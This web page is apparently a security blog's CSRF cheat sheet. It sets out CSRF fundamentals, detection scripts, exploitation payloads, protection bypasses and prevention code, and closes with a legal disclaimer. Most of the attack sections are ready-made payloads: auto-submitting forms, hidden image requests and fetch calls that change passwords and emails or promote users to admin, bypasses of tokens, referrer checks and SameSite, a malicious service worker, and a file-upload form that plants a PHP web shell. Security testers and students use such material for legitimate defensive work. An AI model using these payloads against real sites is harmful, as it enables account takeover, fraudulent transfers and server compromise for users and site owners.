Complete CSRF Cheat Sheet 2025 | Security Testing Guide

🛡️ Complete CSRF Cheat Sheet

Cross-Site Request Forgery – Master Guide for Security Testing

🎯 CSRF Fundamentals

Understanding Cross-Site Request Forgery attacks and their impact

💡 What is CSRF? Cross-Site Request Forgery forces users to execute unwanted actions on web applications where they’re authenticated. Attackers exploit the trust that a site has in a user’s browser.

🔴 High Risk Impact

  • Account takeover
  • Unauthorized transactions
  • Data modification
  • Privilege escalation
  • Admin functions abuse

📋 Attack Requirements

  • User authentication
  • Predictable requests
  • No CSRF protection
  • Social engineering
  • Session persistence

🎭 Attack Scenarios

  • Banking transfers
  • Password changes
  • Email modifications
  • Social media posts
  • Admin user creation
Basic GET Request CSRF
https://bank.com/transfer?to=attacker&amount=1000
<img src=”https://bank.com/delete-user?id=123″>
<iframe src=”https://admin.com/add-admin?user=hacker”></iframe>
POST Request CSRF
<form action=”https://bank.com/transfer” method=”POST”> <input type=”hidden” name=”to” value=”attacker”> <input type=”hidden” name=”amount” value=”1000″> </form> <script>document.forms[0].submit();</script>
JSON API CSRF
fetch(‘https://api.bank.com/transfer’, { method: ‘POST’, credentials: ‘include’, headers: {‘Content-Type’: ‘application/json’}, body: JSON.stringify({to: ‘attacker’, amount: 1000}) });

🔍 CSRF Detection Methods

Techniques to identify CSRF vulnerabilities

⚠️ Detection Checklist: Always test for CSRF tokens, SameSite cookies, referrer validation, and origin header checks.
Manual Detection Script
// Check for CSRF tokens function detectCSRF() { const forms = document.querySelectorAll(‘form’); forms.forEach(form => { const tokens = form.querySelectorAll(‘[name*=”csrf”], [name*=”token”]’); if (tokens.length === 0) { console.log(‘No CSRF token found:’, form.action); } }); }
Cookie Analysis
// Check SameSite attributes document.cookie.split(‘;’).forEach(cookie => { if (!cookie.includes(‘SameSite’)) { console.log(‘No SameSite protection:’, cookie.trim()); } });
Burp Suite Detection
# Burp Suite steps: 1. Right-click request → Generate CSRF PoC 2. Remove CSRF token from request 3. Change request method (POST to GET) 4. Test with different origins 5. Check for custom headers requirement
Command Line Testing
#!/bin/bash # Test for CSRF tokens curl -s “$URL” | grep -i “csrf\|_token\|authenticity” # Test SameSite cookies curl -I “$URL” | grep -i “samesite”

💥 Basic CSRF Exploitation

Common CSRF attack vectors and payloads

Auto-Submit Form
<html> <body onload=”document.forms[0].submit()”> <form action=”https://victim.com/change-email” method=”POST”> <input type=”hidden” name=”email” value=”[email protected]”> </form> </body> </html>
Image-based GET Attack
<img src=”https://bank.com/transfer?to=attacker&amount=5000″ style=”display:none;”> <img src=”https://admin.com/delete-user?id=victim” width=”1″ height=”1″>
JavaScript Fetch Attack
fetch(‘https://api.victim.com/change-password’, { method: ‘POST’, credentials: ‘include’, headers: { ‘Content-Type’: ‘application/x-www-form-urlencoded’ }, body: ‘password=hacked123&confirm=hacked123’ });
Multi-step Attack
// Step 1: Change email fetch(‘/change-email’, { method: ‘POST’, credentials: ‘include’, body: ’[email protected]’ }).then(() => { // Step 2: Change password setTimeout(() => { fetch(‘/change-password’, { method: ‘POST’, credentials: ‘include’, body: ‘password=hacked123’ }); }, 2000); });

🚀 Advanced CSRF Attacks

Sophisticated attack techniques for modern applications

File Upload CSRF
<form action=”https://victim.com/upload” method=”POST” enctype=”multipart/form-data”> <input type=”hidden” name=”file” value=”shell.php”> <input type=”hidden” name=”content” value=”<?php system($_GET[‘cmd’]); ?>”> </form> <script> const form = document.forms[0]; const formData = new FormData(form); fetch(form.action, {method: ‘POST’, body: formData, credentials: ‘include’}); </script>
WebSocket CSRF
const ws = new WebSocket(‘wss://victim.com/admin’); ws.onopen = function() { ws.send(JSON.stringify({ action: ‘delete_all_users’, confirm: true })); };
GraphQL CSRF
fetch(‘https://api.victim.com/graphql’, { method: ‘POST’, credentials: ‘include’, headers: {‘Content-Type’: ‘application/json’}, body: JSON.stringify({ query: `mutation { updateUser(id: 1, input: { email: “[email protected]” role: ADMIN }) { id email role } }` }) });
Mobile Deep Link CSRF
<a href=”bankapp://transfer?amount=1000&to=attacker”> 🎁 Claim Your Prize! </a> <iframe src=”myapp://admin/delete?confirm=true” style=”display:none;”></iframe>

🛡️ CSRF Protection Bypass

Techniques to bypass common CSRF protections

⚠️ Advanced Bypasses: These techniques exploit implementation flaws in CSRF protections.
Token Bypass Methods
# 1. Remove token completely amount=1000&to=attacker # 2. Empty token value csrf_token=&amount=1000&to=attacker # 3. Use wrong parameter name _token=abc123&amount=1000&to=attacker # 4. Change request method GET /transfer?csrf_token=abc123&amount=1000&to=attacker
Referrer Header Bypass
<meta name=”referrer” content=”no-referrer”> <iframe src=”data:text/html, <form action=’https://victim.com/transfer’ method=’POST’> <input name=’amount’ value=’1000′> <input name=’to’ value=’attacker’> </form> <script>document.forms[0].submit()</script>”> </iframe>
SameSite Cookie Bypass
// Top-level navigation bypass window.open(‘https://victim.com/transfer?amount=1000&to=attacker’, ‘_blank’); // Meta refresh bypass <meta http-equiv=”refresh” content=”0; url=https://victim.com/dangerous-action”>
Content-Type Bypass
<form action=”https://api.victim.com/users” method=”POST” enctype=”text/plain”> <input name='{“role”:”admin”,”email”:”[email protected]”,”id”:1,”ignore”:”‘ value='”}’ type=’hidden’> </form>

⚡ Modern Attack Vectors

Cutting-edge CSRF techniques for modern web applications

Service Worker CSRF
// Register malicious service worker navigator.serviceWorker.register(‘/malicious-sw.js’); // malicious-sw.js self.addEventListener(‘fetch’, event => { if (event.request.url.includes(‘victim.com’)) { const maliciousRequest = new Request( ‘https://victim.com/admin/delete-all’, {method: ‘POST’, credentials: ‘include’} ); event.respondWith(fetch(maliciousRequest)); } });
Web Workers CSRF
const worker = new Worker(‘csrf-worker.js’); worker.postMessage({ target: ‘https://victim.com/api/transfer’, payload: {amount: 10000, to: ‘attacker’} }); // csrf-worker.js self.onmessage = function(e) { const {target, payload} = e.data; fetch(target, { method: ‘POST’, credentials: ‘include’, headers: {‘Content-Type’: ‘application/json’}, body: JSON.stringify(payload) }); };
Microservice CSRF
fetch(‘https://api-gateway.victim.com/user-service/admin/promote’, { method: ‘POST’, credentials: ‘include’, headers: { ‘Content-Type’: ‘application/json’, ‘X-Service’: ‘admin-panel’ }, body: JSON.stringify({ userId: 123, newRole: ‘super-admin’ }) });
Lambda Function CSRF
fetch(‘https://api.victim.com/lambda/execute’, { method: ‘POST’, credentials: ‘include’, body: JSON.stringify({ function: ‘delete-all-backups’, params: {confirm: true} }) });

🔒 CSRF Prevention Guide

Complete implementation guide for CSRF protection

🛡️ Defense in Depth: Implement multiple layers of CSRF protection for maximum security.

🎫 CSRF Tokens

  • Cryptographically secure random tokens
  • Server-side validation
  • Token rotation per request
  • Hidden form fields
  • Custom headers for AJAX

🍪 SameSite Cookies

  • SameSite=Strict for sensitive actions
  • SameSite=Lax for better UX
  • Secure flag for HTTPS
  • HttpOnly flag prevention
  • Proper domain configuration

🌐 Origin Validation

  • Strict origin header checking
  • Referrer header validation
  • Whitelist allowed origins
  • Reject null origins
  • CORS policy enforcement
PHP CSRF Token Implementation
<?php session_start(); function generateCSRFToken() { if (empty($_SESSION[‘csrf_token’])) { $_SESSION[‘csrf_token’] = bin2hex(random_bytes(32)); } return $_SESSION[‘csrf_token’]; } function validateCSRFToken($token) { return hash_equals($_SESSION[‘csrf_token’], $token); } // Usage in form echo ‘<input type=”hidden” name=”csrf_token” value=”‘ . generateCSRFToken() . ‘”>’; ?>
Node.js CSRF Protection
const csrf = require(‘csurf’); // CSRF protection middleware const csrfProtection = csrf({ cookie: { httpOnly: true, secure: true, // HTTPS only sameSite: ‘strict’ } }); app.use(csrfProtection); // Provide token to client app.get(‘/csrf-token’, (req, res) => { res.json({csrfToken: req.csrfToken()}); });
SameSite Cookie Configuration
# Apache .htaccess Header always edit Set-Cookie ^(.*)$ “$1; SameSite=Strict; Secure” # Nginx proxy_cookie_path / “/; SameSite=Strict; Secure”; # Express.js app.use(session({ secret: ‘your-secret-key’, cookie: { sameSite: ‘strict’, secure: true, httpOnly: true } }));
Double Submit Cookie Pattern
// Client-side JavaScript function getCSRFToken() { const cookies = document.cookie.split(‘;’); for (let cookie of cookies) { const [name, value] = cookie.trim().split(‘=’); if (name === ‘csrf-token’) return value; } return null; } // Send token in both cookie and header fetch(‘/api/transfer’, { method: ‘POST’, headers: { ‘X-CSRF-Token’: getCSRFToken(), ‘Content-Type’: ‘application/json’ }, credentials: ‘include’, body: JSON.stringify({amount: 100, to: ‘friend’}) });

🔧 CSRF Testing Tools

Professional tools and scripts for CSRF vulnerability assessment

🎯 Professional Tools

  • Burp Suite Professional
  • OWASP ZAP
  • CSRFTester
  • Postman
  • Custom Python scripts

🔍 Testing Methodology

  • Token presence analysis
  • SameSite cookie testing
  • Referrer header validation
  • CORS policy testing
  • Manual PoC generation

📊 Automation Scripts

  • Token bypass fuzzing
  • Request method testing
  • Content-Type manipulation
  • Origin header spoofing
  • Batch vulnerability scanning
Python CSRF Testing Script
#!/usr/bin/env python3 import requests class CSRFTester: def __init__(self, target_url, session_cookies): self.target_url = target_url self.session = requests.Session() self.session.cookies.update(session_cookies) def test_csrf_bypass(self, endpoint, params): results = [] # Test 1: Remove CSRF token try: response = self.session.post(endpoint, data=params) results.append({ ‘test’: ‘No CSRF Token’, ‘status’: response.status_code, ‘vulnerable’: response.status_code == 200 }) except Exception as e: results.append({‘test’: ‘No CSRF Token’, ‘error’: str(e)}) return results # Usage cookies = {‘sessionid’: ‘your_session_cookie’} tester = CSRFTester(‘https://target.com’, cookies) results = tester.test_csrf_bypass(‘/transfer’, {‘amount’: ‘1000’})
Burp Suite CSRF Testing
# Burp Suite CSRF Testing Steps: 1. Proxy traffic through Burp 2. Right-click request → Generate CSRF PoC 3. Modify generated HTML: – Remove CSRF token parameter – Change token value to invalid – Test different request methods 4. Host PoC and test in browser 5. Use Intruder for token fuzzing: – Sniper attack on token parameter – Payload list with common bypasses
OWASP ZAP Commands
# ZAP API for CSRF testing curl -X GET “http://localhost:8080/JSON/ascan/action/scan/” \ -d “url=https://target.com” \ -d “recurse=true” # Generate CSRF test cases curl -X GET “http://localhost:8080/JSON/core/action/sendRequest/” \ -d “request=POST /transfer HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded amount=1000&to=attacker”
Advanced Fuzzing Script
#!/usr/bin/env python3 import requests import itertools class CSRFFuzzer: def __init__(self, base_url, session_cookies): self.base_url = base_url self.session = requests.Session() self.session.cookies.update(session_cookies) def fuzz_endpoint(self, endpoint, original_params): bypass_attempts = [ {}, # No token {‘csrf_token’: ”}, # Empty token {‘csrf_token’: ‘invalid’}, # Invalid token {‘_token’: original_params.get(‘csrf_token’, ”)}, # Wrong name ] results = [] for params in bypass_attempts: test_params = original_params.copy() test_params.update(params) try: response = self.session.post(endpoint, data=test_params) results.append({ ‘params’: params, ‘status’: response.status_code, ‘vulnerable’: response.status_code in [200, 302] }) except Exception as e: results.append({‘params’: params, ‘error’: str(e)}) return results

📥 Download Complete CSRF Guide

⚠️ Legal and Ethical Disclaimer

This CSRF cheat sheet is provided for educational and authorized security testing purposes only.

  • Always obtain proper written authorization before testing any systems
  • Unauthorized testing is illegal and unethical
  • Use these techniques only on systems you own or have explicit permission to test
  • Respect responsible disclosure practices when reporting vulnerabilities
  • Follow your organization’s security testing policies

Leave a Reply

Your email address will not be published. Required fields are marked *